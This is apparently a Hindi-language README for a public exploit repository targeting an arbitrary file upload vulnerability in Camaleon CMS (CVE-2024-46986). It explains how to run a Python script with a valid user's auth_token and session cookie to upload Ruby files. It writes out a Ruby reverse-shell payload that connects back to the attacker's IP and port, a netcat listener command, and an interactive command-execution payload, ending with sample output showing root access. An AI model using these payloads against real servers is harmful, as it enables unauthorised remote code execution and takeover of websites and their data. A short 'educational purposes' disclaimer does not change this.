
कैमलियन CMS में मनमाना फ़ाइल अपलोड कमज़ोरी (CVE-2024-46986) के लिए स्वचालित Python एक्सप्लॉइट। प्रमाणित रिमोट कोड निष्पादन के लिए रिवर्स शेल और कमांड निष्पादन पेलोड का समर्थन करता है।
इस रिपॉजिटरी में एक Python स्क्रिप्ट है जो Camaleon CMS में फ़ाइल अपलोड भेद्यता के शोषण को स्वचालित करती है। यह भेद्यता एक हमलावर को सर्वर पर मनमानी फ़ाइलें (जैसे Ruby स्क्रिप्ट) अपलोड करने की अनुमति देती है, जिससे संभावित रूप से रिमोट कोड निष्पादन (RCE) या अन्य गंभीर सुरक्षा प्रभाव हो सकते हैं।
requests लाइब्रेरी का उपयोग करके पूरी प्रक्रिया को स्वचालित करता है।मान्य उपयोगकर्ता क्रेडेंशियल्स: शोषण के काम करने के लिए एक प्रमाणित सत्र आवश्यक है। आपको एक मान्य उपयोगकर्ता के auth_token और _cms_session की आवश्यकता है।
Python 3.x: सुनिश्चित करें कि आपके पास Python 3.x स्थापित है।
Python requests लाइब्रेरी: यदि पहले से स्थापित नहीं है तो requests लाइब्रेरी स्थापित करें।
pip install requests
रिपॉजिटरी को क्लोन करें:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
Python स्क्रिप्ट में placeholder `your_auth_token_here`, `your_session_token_here`, और `https://target_site_here` को वास्तविक मानों से बदलें।
यदि रिवर्स शेल पेलोड का उपयोग कर रहे हैं, तो `your_ip` और `your_port` को अपने IP पते और उस पोर्ट से बदलें जिस पर आप एक लिसनर सेट करेंगे।
रिवर्स शेल: रिवर्स शेल अपलोड करने के लिए, स्क्रिप्ट में `payload_type` वेरिएबल को "reverse_shell" पर सेट करें।
कमांड निष्पादन: सिस्टम कमांड निष्पादित करने वाली स्क्रिप्ट अपलोड करने के लिए, `payload_type` को "command_execution" पर सेट करें। आप लक्ष्य सर्वर पर निष्पादित करने के लिए बार-बार कमांड दर्ज कर सकेंगे।
bash
python exploit_camaleon.py
यदि कमांड निष्पादन पेलोड का उपयोग कर रहे हैं, तो आप कई कमांड दर्ज कर सकते हैं:
bash
निष्पादित करने के लिए एक सिस्टम कमांड दर्ज करें (या बाहर निकलने के लिए 'exit' टाइप करें): whoami
निष्पादित करने के लिए एक सिस्टम कमांड दर्ज करें (या बाहर निकलने के लिए 'exit' टाइप करें): ls
निष्पादित करने के लिए एक सिस्टम कमांड दर्ज करें (या बाहर निकलने के लिए 'exit' टाइप करें): exit
पेलोड प्रकार
रिवर्स शेल पेलोड हमलावर की मशीन से वापस जुड़ता है, जिससे सर्वर पर रिमोट कोड निष्पादन की अनुमति मिलती है।
Python कोड के अंदर Ruby स्क्रिप्ट में IP और पोर्ट को संशोधित करें।
उदाहरण पेलोड:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
netcat का उपयोग करके अपनी मशीन पर एक लिसनर सेट करें:
bash
nc -lvnp <your_port>
2. कमांड निष्पादन
यह पेलोड एक Ruby स्क्रिप्ट अपलोड करता है जो सर्वर पर सिस्टम कमांड (उदाहरण: whoami) निष्पादित करती है। निष्पादन के दौरान आप बार-बार कमांड दर्ज कर सकते हैं।
यह स्क्रिप्ट तब तक कमांड मांगती रहेगी जब तक आप exit टाइप नहीं करते।
उदाहरण:
ruby
system("whoami")
सफल शोषण का उदाहरण
एक बार शोषण सफलतापूर्वक निष्पादित हो जाने पर, आपको टर्मिनल में सफलता दर्शाने वाला आउटपुट देखना चाहिए:
python
Exploit executed successfully with payload type: reverse_shell!
यदि आप रिवर्स शेल का उपयोग करते हैं, तो netcat लिसनर को समझौता किए गए सर्वर के शेल तक पहुंच प्रदान करनी चाहिए।
कमांड निष्पादन पेलोड के लिए:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
यह स्क्रिप्ट केवल शैक्षिक उद्देश्यों के लिए है। लेखक इस शोषण के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। भेद्यताओं का परीक्षण या शोषण करने से पहले हमेशा सुनिश्चित करें कि आपके पास अनुमति है।
सुधार या अतिरिक्त सुविधाओं के लिए बेझिझक issues या pull requests सबमिट करें!
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।